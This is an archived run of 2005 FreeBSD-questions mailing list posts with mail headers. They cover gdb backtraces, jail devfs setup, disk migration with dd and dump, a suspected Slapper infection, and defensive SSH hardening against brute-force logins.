X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Generating Backtrace on FBSD 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:13:38 -0000 Slightly off-topic. Im trying to figure out how to generate a backtrace from a core dump of subversion, to send to subversion developers. What tools are available to read a core dump file, to generate this backtrace on FreeBSD 5.3? I'm trying to understand gdb, but Im not sure if this is what I'm looking for. $ gdb -c svn.core Thanks From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:32:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 911A416A4D0 for ; Tue, 8 Feb 2005 15:32:32 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0CBDC43D3F for ; Tue, 8 Feb 2005 15:32:32 +0000 (GMT) (envelope-from freebsd99@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so914969wri for ; Tue, 08 Feb 2005 07:32:31 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=bNU5tRO0SudO5yKBX+EaGgFVKC6l9ddSUj+A2phZHSVJn3vIVYBB37TrR2h2vDAB/Od44nFFVFn3nyE50yqG6sBQOt5jvfTHy/wXFDR1syUQj9a8zJ9ZBv1pZlG8BhTGgxEOdCPvnB0QpOFbGwVUG4uZfAn7yUmwbRtNYuVhMi0= Received: by 10.54.56.15 with SMTP id e15mr10305wra; Tue, 08 Feb 2005 07:32:30 -0800 (PST) Received: by 10.54.2.60 with HTTP; Tue, 8 Feb 2005 07:32:30 -0800 (PST) Message-ID: Date: Tue, 8 Feb 2005 23:32:30 +0800 From: r p To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: jail /dev X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: r p List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:32:32 -0000 Hi, I've set up a jail and am getting confused about setting up the devices. The name of the jail is "jail" and it's directory is "/usr/jail". I am using 5.3-Release. I have tried three methods, one that works, two that don't. At the moment what I'm doing is "mount_devfs devfs /usr/jail/dev" then going into the jail and deleting the devices that I (think) I don't need/shouldn't have available. This works, but brings up the problem that I don't know what devices I should leave in and which I shouldn't. I tried adding the line "jail_jail_devfs_ruleset=4" along with other suggested lines relating to jails to /etc/rc.conf, but this resulted in an error message at bootup; "WARNING: devfs_set_ruleset: you must specify a ruleset number". I am getting the number ("4") from the "/etc/defaults/devfs.rules" file. I have also read "man 8 dev" and tried the line " devfs -m /usr/jail/dev rule -s 4 applyset", which results in the error "devfs rule: ioctl DEVFSIO_SAPPLY: Inappropriate ioctl for device". I'm pretty sure in this case I'm just mistaken about how to use the command properly. So my questions are; 1) If I use my current method, the first, which devices should I leave in the jails /dev directory, and which should I delete? 2) Is the entry I tried in /etc/rc.conf in the second method correct, and if not, what should it be? 3) Is the command i tried in method three correct, and if not, what should it be? From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:40:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 35E5616A4F8 for ; Tue, 8 Feb 2005 15:40:16 +0000 (GMT) Received: from mindfields.energyhq.es.eu.org (73.Red-213-97-200.pooles.rima-tde.net [213.97.200.73]) by mx1.FreeBSD.org (Postfix) with ESMTP id 62A5143D39 for ; Tue, 8 Feb 2005 15:40:15 +0000 (GMT) (envelope-from flynn@energyhq.es.eu.org) Received: from scienide.energyhq.es.eu.org (scienide.energyhq.es.eu.org [192.168.100.1]) by mindfields.energyhq.es.eu.org (Postfix) with SMTP id C86003560F; Tue, 8 Feb 2005 16:40:14 +0100 (CET) Date: Tue, 8 Feb 2005 16:39:36 +0100 From: Miguel Mendez To: Gerard Samuel Message-Id: <20050208163936.6c2877b2.flynn@energyhq.es.eu.org> In-Reply-To: <4208D71C.7000207@trini0.org> References: <4208D71C.7000207@trini0.org> X-Mailer: Sylpheed version 1.0.0-gtk2-20041224 (GTK+ 2.4.14; i386-portbld-freebsd5.3) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="Signature=_Tue__8_Feb_2005_16_39_36_+0100_0NXXEoXrInp0FIpF" cc: freebsd-questions@freebsd.org Subject: Re: Generating Backtrace on FBSD 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:40:16 -0000 --Signature=_Tue__8_Feb_2005_16_39_36_+0100_0NXXEoXrInp0FIpF Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 7bit On Tue, 08 Feb 2005 10:13:32 -0500 Gerard Samuel wrote: > Im trying to figure out how to generate a > backtrace from a core dump of subversion, to send > to subversion developers. > What tools are available to read a core dump file, > to generate this backtrace on FreeBSD 5.3? > I'm trying to understand gdb, but Im not sure if > this is what I'm looking for. > $ gdb -c svn.core gdb /path/to/svn svn.core is what you want. But for that to be useful you need a svn executable built with debugging info. This can be done by building the port with CFLAGS having the '-g' option and STRIP set to null, so you don't lose that info while installing. (deinstall svn first) e.g.: cd /usr/ports/devel/subversion && env CFLAGS="-g" STRIP="" make install Then try to reproduce the error and run gdb. Once in gdb use the command 'bt' to get a backtrace. Cheers, -- Miguel Mendez http://www.energyhq.es.eu.org PGP Key: 0xDC8514F1 --Signature=_Tue__8_Feb_2005_16_39_36_+0100_0NXXEoXrInp0FIpF Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCN07nLctrNyFFPERArgAAJ4i7SlRpin1dBd2ceeZJsvZfe4XkwCdGBuQ pkh7kpcsE8sUpk4gX1P+Sao= =QGzO -----END PGP SIGNATURE----- --Signature=_Tue__8_Feb_2005_16_39_36_+0100_0NXXEoXrInp0FIpF-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:51:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B7F8A16A4CE for ; Tue, 8 Feb 2005 15:51:29 +0000 (GMT) Received: from clunix.cl.msu.edu (clunix.cl.msu.edu [35.9.2.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 489CB43D4C for ; Tue, 8 Feb 2005 15:51:29 +0000 (GMT) (envelope-from jerrymc@clunix.cl.msu.edu) Received: (from jerrymc@localhost) by clunix.cl.msu.edu (8.11.7p1+Sun/8.11.7) id j18FpL012184; Tue, 8 Feb 2005 10:51:21 -0500 (EST) From: Jerry McAllister Message-Id: <200502081551.j18FpL012184@clunix.cl.msu.edu> To: john@starfire.mn.org (John) Date: Tue, 8 Feb 2005 10:51:20 -0500 (EST) In-Reply-To: <20050208070846.A13935@starfire.mn.org> from "John" at Feb 08, 2005 07:08:46 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:51:29 -0000 > > OK - I've finally come to the realization (a little slow, I know) > that a 5.8Gb disk drive is just not enough to support a desktop > environment (including JAVA) for both Windows XP and FreeBSD on my > laptop. :( > > I have used dump(8) to dump out my filesystems. I am wondering > if I can just use "dd" to dump out all of /dev/ad0s1 also, > and then use "dd" to put it back again when I'm done. Then > I'd boot the installation CD into "fixit" mode, build a new > MBR, make sure that the new s1 was the same or very slightly larger > than the old s1, and use dd to put it back again. Can anyone > speak to either the "doomed to failure" or "I've done this and > it works" scenarios? I presume that /dev/ad0s1 is your MS-DOS slice? I have never done this, but you might try using dump(8) and restore(8) to move it as well as the others. I would trying dumping it somewhere and then restoring it somewhere harmless just to check first. If you keep the old disk and do nothing to harm it, then you could try this to the new disk and if it works (eg Messy Dos works), fine. If it doesn't work then you still have the original on the old disk to go back to and try something else. As you mention, make the slices and partitions on the new disk and put in the MBR. Then do the restores. You might need to do something to put in a MSDOS boot partition on the new S1 as well. ////jerry > > Thanks. > > BTW, just out of curiosity, does anyone know off the top of their > heads where dump(8) puts the snapshot name when used with the L > option? I assumed it would be in the .snap directory, but when I > did an "ls -la" of /home/.snap while it was running, there was > nothing there. I suppose it could remove the snap after it builds > the map of what diskblocks to back up, but that could still lead > to "fuzzy" backups. > -- > > John Lind > john@starfire.MN.ORG > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:58:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AF95416A4CE for ; Tue, 8 Feb 2005 15:58:20 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7CB9F43D1F for ; Tue, 8 Feb 2005 15:58:20 +0000 (GMT) (envelope-from mag@hamletinc.com) Received: from [192.168.12.99] (c-24-19-27-240.client.comcast.net[24.19.27.240]) by comcast.net (rwcrmhc11) with ESMTP id <2005020815582001300g052ve>; Tue, 8 Feb 2005 15:58:20 +0000 Message-ID: <4208E148.8060301@hamletinc.com> Date: Tue, 08 Feb 2005 07:56:56 -0800 From: "Mark A. Garcia" User-Agent: Mozilla Thunderbird 0.6 (X11/20040519) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bret Walker References: <014901c50de3$15518b10$17336981@medill.northwestern.edu> In-Reply-To: <014901c50de3$15518b10$17336981@medill.northwestern.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: httpd in /tmp - Sound advice sought X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:58:20 -0000 Bret Walker wrote: >Last night, I ran chkrootkit and it gave me a warning about being infected >with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version >0.96d or older on Linux systems. I have only run 0.97d. The file that >set chkrootkit off >was httpd which was located in /tmp. /tmp is always mounted rw, noexec. > >I update my packages (which are installed via ports) any time there is a >security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl >2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple >of >weeks, but the only code that required it to be on was in a .htaccess/SSL >password protected directory. > >Tripwire didn't show anything that I noted as odd. I reexamined the >tripwire logs, >which are e-mailed to an account off of the machine immediately after >completion, and I don't >see anything odd for the 3/4 days before or after the date on the file. >(I don't scan /tmp) > >I stupidly deleted the httpd file from /tmp, which was smaller than the >actual apache httpd. And I don't back up /tmp. > >The only info I can find regarding this file being in /tmp pertains to >Slapper. Could something have copied a file there? Could I have done it >by mistake at some point - the server's been up ~60 days, plenty of time >for me to forget something? > >This is production box that I very much want to keep up, so I'm seeking >some sound advice. > >Does this box need to be rebuilt? How could a file get written to /tmp, >and is it an issue since it couldn't be executed? I run tripwire nightly, >and haven't seen anything odd to the best of my recollection. I also >check ipfstat -t frequently to see if any odd connections are happening. > >I appreciate any sound advice on this matter. > >Thanks, >Bret > > Slapper is a linux only virus. You shouldn't have to worry about it doing harm on your freebsd machine. Seeing as the binary was in your tmp directory on your system, and that you might have not placed it there, this could be a good reason for a host of other things to look into. The httpd binary with 96d<= ssl is not a virus itself, just a means to carry out the exploit. The slapper virus is a bunch of c-code that is put in your tmp directory and the exploit allows one to compile, chmod, and execute the code, leaving open a backdoor. chrootkit does scan for the comparable scalper virus which is a freebsd cousin to the slapper (in that they attempt to exploit the machine via the apache conduit.) I would think real hard, if you did put the httpd binary in there. If you are sure you didn't, and you are the only one with access to the system, then I would be very very worried. Running tripwire and chrootkit on a periodic basis should help. Re-installing the os isn't your only solution, but it does give comfort knowing that after a reinstall, and locking down the box, no one has a in on your system. This could be overboard though. You also might want to consider enabling the clean_tmp scripts. Next time tar up those suspicious files, a quick forensics on them can do wonders (md5sum, timestamps, ownership, permissions.) Cheers, -.mag From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:59:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 979B516A4CE for ; Tue, 8 Feb 2005 15:59:26 +0000 (GMT) Received: from relay02.pair.com (relay02.pair.com [209.68.5.16]) by mx1.FreeBSD.org (Postfix) with SMTP id ECBCE43D46 for ; Tue, 8 Feb 2005 15:59:25 +0000 (GMT) (envelope-from robin@reportlab.com) Received: (qmail 18910 invoked from network); 8 Feb 2005 15:59:25 -0000 Received: from unknown (HELO ?192.168.0.3?) (unknown) by unknown with SMTP; 8 Feb 2005 15:59:25 -0000 X-pair-Authenticated: 217.196.247.135 Message-ID: <4208E1DD.3050901@chamonix.reportlab.co.uk> Date: Tue, 08 Feb 2005 15:59:25 +0000 From: Robin Becker User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20050208070846.A13935@starfire.mn.org> In-Reply-To: <20050208070846.A13935@starfire.mn.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:59:26 -0000 John wrote: > I have used dump(8) to dump out my filesystems. I am wondering > if I can just use "dd" to dump out all of /dev/ad0s1 also, > and then use "dd" to put it back again when I'm done. Then > I'd boot the installation CD into "fixit" mode, build a new > MBR, make sure that the new s1 was the same or very slightly larger > than the old s1, and use dd to put it back again. Can anyone > speak to either the "doomed to failure" or "I've done this and > it works" scenarios? > > Thanks. ..... will the hard drive change? I do remember trying this on XP with a second hard drive ie ghost the whole lot across to the second drive and then swap the new larger drive into boot place. It seems XP knows the hardware and was looking for the original HD when we attempted to boot off the new one. Ther was a complicated fix involving remote registry editing etc etc, but I've forgotten the details. -- Robin Becker From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:01:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 58C1016A4CE for ; Tue, 8 Feb 2005 16:01:13 +0000 (GMT) Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0164843D5A for ; Tue, 8 Feb 2005 16:01:13 +0000 (GMT) (envelope-from crzdgns1@starpower.net) Received: from ms07.mrf.mail.rcn.net ([207.172.4.13]) by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CyXnb-0006tw-00 for freebsd-questions@freebsd.org; Tue, 08 Feb 2005 11:01:11 -0500 Received: from 128.231.88.3 by ms07.mrf.mail.rcn.net (MOS 3.5.6-GR) with HTTP/1.1; Tue, 8 Feb 2005 11:01:11 -0500 Date: Tue, 8 Feb 2005 11:01:11 -0500 From: To: freebsd-questions@freebsd.org X-Mailer: Mirapoint Webmail Direct 3.5.6-GR MIME-Version: 1.0 Message-Id: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Newbie Security Concerns X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:01:13 -0000 Hello, I am a new user of UNIX and FreeBSD and have never had to do any administration or security configuration myself before. I am running IP Firewall on FreeBSD-5.3-RELEASE. Last night I was checking my logs and discovered that sshd reported many illegal users. Does that mean my system i compromised? As configured, there are only three accounts on my system, root, toor, and one user account for me. I suppose you need more information from me, but am not sure what to provide. Any help would be greatly appreciated. Thanks Mark From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:10:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 210E816A4CE for ; Tue, 8 Feb 2005 16:10:33 +0000 (GMT) Received: from smtpauth08.mail.atl.earthlink.net (smtpauth08.mail.atl.earthlink.net [209.86.89.68]) by mx1.FreeBSD.org (Postfix) with ESMTP id AE26143D31 for ; Tue, 8 Feb 2005 16:10:32 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth08.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CyXwd-0006Ys-Iz; Tue, 08 Feb 2005 11:10:31 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Tue, 8 Feb 2005 10:10:54 -0600 User-Agent: KMail/1.6.2 References: <200502081551.j18FpL012184@clunix.cl.msu.edu> In-Reply-To: <200502081551.j18FpL012184@clunix.cl.msu.edu> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502081010.55215.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bc1d9c80ded69ab61400d5c476d2a6eae3350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: John cc: Jerry McAllister Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:10:33 -0000 On Tuesday 08 February 2005 09:51 am, Jerry McAllister wrote: > > OK - I've finally come to the realization (a little slow, I know) > > that a 5.8Gb disk drive is just not enough to support a desktop > > environment (including JAVA) for both Windows XP and FreeBSD on my > > laptop. :( > > > > I have used dump(8) to dump out my filesystems. I am wondering > > if I can just use "dd" to dump out all of /dev/ad0s1 also, > > and then use "dd" to put it back again when I'm done. Then > > I'd boot the installation CD into "fixit" mode, build a new > > MBR, make sure that the new s1 was the same or very slightly larger > > than the old s1, and use dd to put it back again. Can anyone > > speak to either the "doomed to failure" or "I've done this and > > it works" scenarios? > > I presume that /dev/ad0s1 is your MS-DOS slice? > I have never done this, but you might try using dump(8) > and restore(8) to move it as well as the others. I would > trying dumping it somewhere and then restoring it somewhere > harmless just to check first. If you keep the old disk and > do nothing to harm it, then you could try this to the new > disk and if it works (eg Messy Dos works), fine. If it doesn't > work then you still have the original on the old disk to go > back to and try something else. > > As you mention, make the slices and partitions on the new disk > and put in the MBR. Then do the restores. You might need to > do something to put in a MSDOS boot partition on the new S1 as well. > > ////jerry > > > Thanks. > > > > BTW, just out of curiosity, does anyone know off the top of their > > heads where dump(8) puts the snapshot name when used with the L > > option? I assumed it would be in the .snap directory, but when I > > did an "ls -la" of /home/.snap while it was running, there was > > nothing there. I suppose it could remove the snap after it builds > > the map of what diskblocks to back up, but that could still lead > > to "fuzzy" backups. > > -- > > > > John Lind > > john@starfire.MN.ORG You might also look at g4u (ghost for unix): http://www.feyrer.de/g4u/ Best of luck, Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:13:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AA83616A4CE for ; Tue, 8 Feb 2005 16:13:02 +0000 (GMT) Received: from smtp1.utdallas.edu (smtp1.utdallas.edu [129.110.10.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8042F43D31 for ; Tue, 8 Feb 2005 16:13:02 +0000 (GMT) (envelope-from pauls@utdallas.edu) Received: from utd49554 (utd49554.utdallas.edu [129.110.3.85]) by smtp1.utdallas.edu (Postfix) with ESMTP id 2A8CD388DA3; Tue, 8 Feb 2005 10:13:02 -0600 (CST) Date: Tue, 08 Feb 2005 10:13:02 -0600 From: Paul Schmehl To: crzdgns1@starpower.net, freebsd-questions@freebsd.org Message-ID: In-Reply-To: References: X-Mailer: Mulberry/3.1.6 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: Re: Newbie Security Concerns X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Paul Schmehl List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:13:02 -0000 --On Tuesday, February 08, 2005 11:01:11 AM -0500 crzdgns1@starpower.net wrote: > > I am a new user of UNIX and FreeBSD and have never had to do any > administration or security configuration myself before. I am running > IP Firewall on FreeBSD-5.3-RELEASE. Last night I was checking my > logs and discovered that sshd reported many illegal users. Does > that mean my system i compromised? As configured, there are only > three accounts on my system, root, toor, and one user account for > me. I suppose you need more information from me, but am not sure > what to provide. Any help would be greatly appreciated. > In addition to the firewall, you should edit /etc/hosts.allow and only allow remote access from trusted hosts. That will completely stop the random ssh login attempts. man (5) hosts_access Paul Schmehl (pauls@utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:14:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A141316A4CE for ; Tue, 8 Feb 2005 16:14:39 +0000 (GMT) Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7092743D39 for ; Tue, 8 Feb 2005 16:14:39 +0000 (GMT) (envelope-from mag@hamletinc.com) Received: from [192.168.12.99] (c-24-19-27-240.client.comcast.net[24.19.27.240]) by comcast.net (rwcrmhc12) with ESMTP id <200502081614380140038dbve>; Tue, 8 Feb 2005 16:14:39 +0000 Message-ID: <4208E51B.9040408@hamletinc.com> Date: Tue, 08 Feb 2005 08:13:15 -0800 From: "Mark A. Garcia" User-Agent: Mozilla Thunderbird 0.6 (X11/20040519) X-Accept-Language: en-us, en MIME-Version: 1.0 To: crzdgns1@starpower.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Newbie Security Concerns X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:14:39 -0000 crzdgns1@starpower.net wrote: >Hello, > >I am a new user of UNIX and FreeBSD and have never had to do any >administration or security configuration myself before. I am running >IP Firewall on FreeBSD-5.3-RELEASE. Last night I was checking my >logs and discovered that sshd reported many illegal users. Does > This seems to be a common thing that occurs all to often on internet facing systems who have a publicly available ssh port. But it being common is definately a reason not to ignore it. Here are some things that I do: - Don't allow root logins via the sshd_config in /etc/ssh - Bind ssh to a specific IP or IP's - Running IP Firewall, block any access to your system with generic block rules, then open up specific ports with specific from IPs that you know you will be coming from. - You can even go really gonzo and install ports/security/doorman which is a port knocking mechanism that allows you to play knock-knock-who-is-it. Send a udp sequence to your server. If it matches a certain type of signature, then issue a firewall rule change to open the port, i.e. ssh. Very automated and convient. Otherwise, the port will be closed to all users. If if the port is open, then one would still have to password crack your accounts. I'm hoping that one would see a port is open via email, and know it's not them and immediately do some justice. - Also, it would be good to block those ips where the password attempts occur. Last but not least, you're system probably isn't compromised unless you actually see a successful login on those accounts. Cheers, -.mag > >that mean my system i compromised? As configured, there are only >three accounts on my system, root, toor, and one user account for >me. I suppose you need more information from me, but am not sure >what to provide. Any help would be greatly appreciated. > > > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:16:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 061FB16A4CE for ; Tue, 8 Feb 2005 16:16:02 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id C1D5D43D45 for ; Tue, 8 Feb 2005 16:16:00 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j18GFx314738; Tue, 8 Feb 2005 10:15:59 -0600 (CST) (envelope-from john) Date: Tue, 8 Feb 2005 10:15:59 -0600 From: John To: Jerry McAllister Message-ID: <20050208101559.A14613@starfire.mn.org> References: <20050208070846.A13935@starfire.mn.org> <200502081551.j18FpL012184@clunix.cl.msu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200502081551.j18FpL012184@clunix.cl.msu.edu>; from jerrymc@clunix.cl.msu.edu on Tue, Feb 08, 2005 at 10:51:20AM -0500 cc: freebsd-questions@freebsd.org Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 16:16:02 -0000 On Tue, Feb 08, 2005 at 10:51:20AM -0500, Jerry McAllister wrote: > > > > OK - I've finally come to the realization (a little slow, I know) > > that a 5.8Gb disk drive is just not enough to support a desktop > > environment (including JAVA) for both Windows XP and FreeBSD on my > > laptop. :( > > > > I have used dump(8) to dump out my filesystems. I am wondering > > if I can just use "dd" to dump out all of /dev/ad0s1 also, > > and then use "dd" to put it back again when I'm done. Then > > I'd boot the installation CD into "fixit" mode, build a new > > MBR, make sure that the new s1 was the same or very slightly larger > > than the old s1, and use dd to put it back again. Can anyone > > speak to either the "doomed to failure" or "I've done this and > > it works" scenarios? > > I presume that /dev/ad0s1 is your MS-DOS slice? > I have never done this, but you might try using dump(8) > and restore(8) to move it as well as the others. I would > trying dumping it somewhere and then restoring it somewhere > harmless just to check first. If you keep the old disk and > do nothing to harm it, then you could try this to the new > disk and if it works (eg Messy Dos works), fine. If it doesn't > work then you still have the original on the old disk to go > back to and try something else. > > As you mention, make the slices and partitions on the new disk > and put in the MBR. Then do the restores. You might need to > do something to put in a MSDOS boot partition on the new S1 as well. Well, it's NOT really an MS-DOS slice. Winxp uses the NT filesystem, NOT MS-DOS. Dump cannot work on anthing other than UFS filesystems. Dump actually separately interprets the filesystem structure. Consider, for example, that dump works perfectly well on unmounted filesystems. Dump is DRAMATICALLY different in its operation than tar, cpio, etc. Since tar and others use the filesystem code, they don't care what the underlying structure might be, BUT, they are also incapable of collecting "foreign" information like SIDs and ACLs. -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 16:17:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3AC0716A4CE for ; Tue, 8 Feb 2005 16:17:54 +0000 (GMT) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 2367E43D45 for ; Tue, 8 Feb 2005 16:17:51 +0000 (GMT) (envelope-from ph.schulz@gmx.de) Received: (qmail invoked by alias); 08 Feb 2005 16:17:49 -0000 Received: from dsl-084-056-226-177.arcor-ip.net (EHLO [192.168.1.5]) (84.56.226.177) by mail.gmx.net (mp013) with SMTP; 08 Feb 2005 17:17:49 +0100 X-Authenticated: #1954550 Message-ID: <4208E611.80505@gmx.de> Date: Tue, 08 Feb 2005 17:17:21 +0100 From: Phil Schulz User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050123 X-Accept-Language: de, en-us, en MIME-Version: 1.0 To: crzdgns1@starpower.net 